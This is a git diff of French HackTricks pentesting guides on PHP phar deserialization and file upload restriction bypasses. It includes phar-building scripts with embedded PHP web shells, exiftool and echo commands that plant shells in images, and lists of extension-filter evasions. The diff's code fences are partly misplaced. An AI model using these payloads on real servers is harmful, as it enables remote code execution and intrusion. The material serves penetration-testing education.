* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -2,19 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et par hacker l'inviolable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impénétrable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -22,7 +24,7 @@ Les fichiers **Phar** (PHP Archive) **contiennent des métadonnées au format s
|
|||
|
||||
Le meilleur aspect de cette caractéristique est que cette désérialisation se produira même en utilisant des fonctions PHP qui n'évaluent pas le code PHP comme **file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**.
|
||||
|
||||
Imaginez donc une situation où vous pouvez faire en sorte qu'une application web PHP obtienne la taille d'un fichier arbitraire en utilisant le protocole **`phar://`**, et à l'intérieur du code, vous trouvez une **classe** similaire à la suivante :
|
||||
Imaginez donc une situation où vous pouvez amener un site web PHP à obtenir la taille d'un fichier arbitraire en utilisant le protocole **`phar://`**, et à l'intérieur du code, vous trouvez une **classe** similaire à la suivante :
|
||||
|
||||
{% code title="vunl.php" %}
|
||||
```php
|
||||
|
@ -40,27 +42,13 @@ system($this->data);
|
|||
|
||||
filesize("phar://test.phar"); #The attacker can control this path
|
||||
```
|
||||
```php
|
||||
<?php
|
||||
class Example {
|
||||
public $inject = '<?php system($_GET["cmd"]); ?>';
|
||||
}
|
||||
|
||||
@unlink("phar.phar");
|
||||
$phar = new Phar("phar.phar");
|
||||
$phar->startBuffering();
|
||||
$phar->addFromString("test.txt", "test");
|
||||
$phar->setStub("<?php __HALT_COMPILER(); ?>");
|
||||
$o = new Example();
|
||||
$phar->setMetadata($o);
|
||||
$phar->stopBuffering();
|
||||
?>
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
Vous pouvez créer un fichier **phar** qui, une fois chargé, **exploitera cette classe pour exécuter des commandes arbitraires** avec quelque chose comme :
|
||||
Vous pouvez créer un fichier **phar** qui, lorsqu'il est chargé, **exploitera cette classe pour exécuter des commandes arbitraires** avec quelque chose comme :
|
||||
|
||||
{% code title="create_phar.php" %}
|
||||
```
|
||||
```php
|
||||
<?php
|
||||
|
||||
|
@ -87,9 +75,7 @@ $phar->setMetadata($object);
|
|||
$phar->stopBuffering();
|
||||
```
|
||||
```markdown
|
||||
{% endcode %}
|
||||
|
||||
Notez comment les **octets magiques du JPG** (`\xff\xd8\xff`) sont ajoutés au début du fichier phar pour **contourner** les **restrictions** **possibles** de **téléversement** de fichiers.\
|
||||
Remarquez comment les **octets magiques du JPG** (`\xff\xd8\xff`) sont ajoutés au début du fichier phar pour **contourner** les **restrictions** **possibles** de **téléversement** de fichiers.\
|
||||
**Compilez** le fichier `test.phar` avec :
|
||||
```
|
||||
```bash
|
||||
|
@ -103,7 +89,7 @@ php vuln.php
|
|||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et par hacker l'inviolable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
|
@ -111,12 +97,14 @@ Si vous êtes intéressé par une **carrière en hacking** et par hacker l'invio
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou vous voulez accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,29 +1,31 @@
|
|||
# Téléchargement de fichiers
|
||||
# Téléversement de fichier
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (638) (3).png>)
|
||||
|
||||
**Astuce de prime de bug** : **inscrivez-vous** à **Intigriti**, une **plateforme premium de prime de bug créée par des pirates, pour les pirates** ! Rejoignez-nous dès aujourd'hui sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
**Conseil pour les chasses aux bugs** : **inscrivez-vous** sur **Intigriti**, une plateforme premium de chasse aux bugs créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Méthodologie générale de téléchargement de fichiers
|
||||
## Méthodologie générale de téléversement de fichier
|
||||
|
||||
Autres extensions utiles :
|
||||
|
||||
* **PHP** : _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
* **Travailler avec PHPv8** : _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||
* **Fonctionnant dans PHPv8** : _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||
* **ASP** : _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
* **Jsp** : _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
* **Coldfusion** : _.cfm, .cfml, .cfc, .dbm_
|
||||
|
@ -31,13 +33,13 @@ Autres extensions utiles :
|
|||
* **Perl** : _.pl, .cgi_
|
||||
* **Serveur Web Erlang Yaws** : _.yaws_
|
||||
|
||||
### Contourner les vérifications des extensions de fichiers
|
||||
### Contournement des vérifications d'extensions de fichier
|
||||
|
||||
1. Si elles s'appliquent, **vérifiez** les **extensions précédentes**. Testez-les également en utilisant des **lettres majuscules** : _pHp, .pHP5, .PhAr ..._
|
||||
2. _Vérifiez en **ajoutant une extension valide avant** l'extension d'exécution (utilisez également les extensions précédentes) :_
|
||||
2. _Vérifiez **en ajoutant une extension valide avant** l'extension d'exécution (utilisez également les extensions précédentes) :_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
3. Essayez d'ajouter des **caractères spéciaux à la fin**. Vous pouvez utiliser Burp pour **forcer** tous les caractères **ascii** et **Unicode**. (_Notez que vous pouvez également essayer d'utiliser les **extensions précédentes**_)
|
||||
3. Essayez d'ajouter **des caractères spéciaux à la fin**. Vous pourriez utiliser Burp pour **forcer** tous les caractères **ascii** et **Unicode**. (_Notez que vous pouvez également essayer d'utiliser les **extensions mentionnées précédemment**_)
|
||||
* _file.php%20_
|
||||
* _file.php%0a_
|
||||
* _file.php%00_
|
||||
|
@ -47,7 +49,7 @@ Autres extensions utiles :
|
|||
* _file._
|
||||
* _file.php...._
|
||||
* _file.pHp5...._
|
||||
4. Essayez de contourner les protections en **trompant l'analyseur d'extension** côté serveur avec des techniques telles que **doubler** l'**extension** ou **ajouter des données inutiles** (octets nuls) entre les extensions. _Vous pouvez également utiliser les **extensions précédentes** pour préparer une charge utile plus efficace._
|
||||
4. Essayez de contourner les protections en **trompant l'analyseur d'extension** du côté serveur avec des techniques telles que **doubler** l'**extension** ou **ajouter des données inutiles** (octets **nuls**) entre les extensions. _Vous pouvez également utiliser les **extensions précédentes** pour préparer une meilleure charge utile._
|
||||
* _file.png.php_
|
||||
* _file.png.pHp5_
|
||||
* _file.php#.png_
|
||||
|
@ -59,70 +61,70 @@ Autres extensions utiles :
|
|||
5. Ajoutez **une autre couche d'extensions** à la vérification précédente :
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. Essayez de mettre l'**extension d'exécution avant l'extension valide** et espérez que le serveur est mal configuré. (utile pour exploiter les erreurs de configuration Apache où tout ce qui a l'extension **.php**, mais **n'ayant pas nécessairement une extension .php** exécutera du code) :
|
||||
6. Essayez de mettre l'**extension d'exécution avant l'extension valide** et priez pour que le serveur soit mal configuré. (utile pour exploiter les mauvaises configurations d'Apache où tout avec l'extension **.php**, mais pas nécessairement se terminant par .php, exécutera du code) :
|
||||
* _ex : file.php.png_
|
||||
7. Utilisation des **flux de données alternatifs NTFS (ADS)** dans **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une extension autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par exemple, "file.asax:.jpg"). Ce fichier peut être modifié ultérieurement en utilisant d'autres techniques telles que l'utilisation de son nom de fichier court. Le motif "**::$data**" peut également être utilisé pour créer des fichiers non vides. Par conséquent, l'ajout d'un caractère point après ce motif peut également être utile pour contourner d'autres restrictions (par exemple, "file.asp::$data.")
|
||||
8. Essayez de dépasser les limites du nom de fichier. L'extension valide est coupée. Et le code PHP malveillant est laissé. AAA<--SNIP-->AAA.php
|
||||
7. Utilisation du **flux de données alternatif NTFS (ADS)** dans **Windows**. Dans ce cas, un caractère deux-points “:” sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par exemple, “file.asax:.jpg”). Ce fichier pourrait être modifié plus tard en utilisant d'autres techniques telles que l'utilisation de son nom de fichier court. Le motif “**::$data**” peut également être utilisé pour créer des fichiers non vides. Par conséquent, l'ajout d'un caractère point après ce motif peut également être utile pour contourner d'autres restrictions (.e.g. “file.asp::$data.”)
|
||||
8. Essayez de briser les limites de nom de fichier. L'extension valide est coupée. Et le PHP malveillant reste. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
# Linux maximum 255 octets
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
# Téléchargez le fichier et vérifiez la réponse pour savoir combien de caractères sont autorisés. Disons 236
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # moins 4 ici et ajout de .png
|
||||
# Téléversez le fichier et vérifiez la réponse pour savoir combien de caractères sont autorisés. Disons 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# Créez la charge utile
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# Préparez la charge utile
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Contourner Content-Type, Magic Number, Compression & Redimensionnement
|
||||
### Contournement des vérifications de Content-Type, Nombre Magique, Compression & Redimensionnement
|
||||
|
||||
* Contourner les vérifications de **Content-Type** en définissant la **valeur** de l'en-tête **Content-Type** sur : _image/png_, _text/plain_, application/octet-stream_
|
||||
1. Wordlist de Content-Type : [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
|
||||
* Contourner la vérification du **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (pour tromper la commande _file_). Ou introduisez le shell à l'intérieur des **métadonnées** :\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ou vous pouvez également **introduire directement la charge utile** dans une image :\
|
||||
* Contournez les vérifications de **Content-Type** en définissant la **valeur** de l'**en-tête Content-Type** à : _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Liste de mots pour Content-Type : [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
|
||||
* Contournez la vérification du **nombre magique** en ajoutant au début du fichier les **octets d'une vraie image** (pour confondre la commande _file_). Ou introduisez le shell dans les **métadonnées** :\
|
||||
`exiftool -Comment="<?php echo 'Commande:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ou vous pourriez également **introduire la charge utile directement** dans une image :\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* Si une **compression est ajoutée à votre image**, par exemple en utilisant des bibliothèques PHP standard telles que [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pouvez utiliser la **chunk PLTE** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
* Si une **compression est ajoutée à votre image**, par exemple en utilisant certaines bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pourriez utiliser la technique du **chunk PLTE** [**définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
* [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* La page web peut également effectuer un **redimensionnement de l'image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pouvez utiliser la **chunk IDAT** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
* La page web pourrait également **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pourriez utiliser la technique du **chunk IDAT** [**définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
* [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* Une autre technique pour créer une charge utile qui **survive à un redimensionnement de l'image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pouvez utiliser la **chunk tEXt** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
* Une autre technique pour créer une charge utile qui **survivra à un redimensionnement d'image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pourriez utiliser la technique du **chunk tEXt** [**définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
|
||||
* [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### Autres astuces à vérifier
|
||||
|
||||
* Trouver une vulnérabilité pour **renommer** le fichier déjà téléchargé (pour changer l'extension).
|
||||
* Trouver une vulnérabilité de **Local File Inclusion** pour exécuter la porte dérobée.
|
||||
* **Divulgation possible d'informations** :
|
||||
1. Téléchargez **plusieurs fois** (et en **même temps**) le **même fichier** avec le **même nom**
|
||||
2. Téléchargez un fichier avec le **nom** d'un **fichier** ou d'un **dossier** qui **existe déjà**
|
||||
3. Téléchargez un fichier avec **“.”, “..”, ou “…” comme nom**. Par exemple, dans Apache sous **Windows**, si l'application enregistre les fichiers téléchargés dans le répertoire “/www/uploads/”, le nom de fichier “.” créera un fichier appelé “uploads” dans le répertoire “/www/”.
|
||||
4. Téléchargez un fichier qui ne peut pas être facilement supprimé, tel que **“…:.jpg”** dans **NTFS**. (Windows)
|
||||
5. Téléchargez un fichier dans **Windows** avec des caractères **non valides** tels que `|<>*?”` dans son nom. (Windows)
|
||||
6. Téléchargez un fichier dans **Windows** en utilisant des **noms** **réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 et LPT9.
|
||||
* Essayez également de **télécharger un exécutable** (.exe) ou un fichier **.html** (moins suspect) qui **exécutera du code** lorsqu'il est ouvert accidentellement par la victime.
|
||||
* Trouvez une vulnérabilité pour **renommer** le fichier déjà téléversé (pour changer l'extension).
|
||||
* Trouvez une vulnérabilité d'**Inclusion de Fichier Local** pour exécuter le backdoor.
|
||||
* **Divulgation d'informations possible** :
|
||||
1. Téléversez **plusieurs fois** (et en **même temps**) le **même fichier** avec le **même nom**
|
||||
2. Téléversez un fichier avec le **nom** d'un **fichier** ou **dossier** qui **existe déjà**
|
||||
3. Téléversez un fichier avec **“.”, “..”, ou “…” comme nom**. Par exemple, dans Apache sous **Windows**, si l'application enregistre les fichiers téléversés dans le répertoire “/www/uploads/”, le nom de fichier “.” créera un fichier appelé “uploads” dans le répertoire “/www/”.
|
||||
4. Téléversez un fichier qui ne peut pas être supprimé facilement comme **“…:.jpg”** dans **NTFS**. (Windows)
|
||||
5. Téléversez un fichier sous **Windows** avec des **caractères invalides** tels que `|<>*?”` dans son nom. (Windows)
|
||||
6. Téléversez un fichier sous **Windows** en utilisant des **noms réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 et LPT9.
|
||||
* Essayez également de **téléverser un exécutable** (.exe) ou un **.html** (moins suspect) qui **exécutera du code** lorsqu'il sera ouvert accidentellement par la victime.
|
||||
|
||||
### Astuces d'extension spéciale
|
||||
### Astuces spéciales pour les extensions
|
||||
|
||||
Si vous essayez de télécharger des fichiers sur un serveur **PHP**, [consultez l'astuce du fichier **.htaccess** pour exécuter du code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Si vous essayez de télécharger des fichiers sur un serveur **ASP**, [consultez l'astuce du fichier **.config** pour exécuter du code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
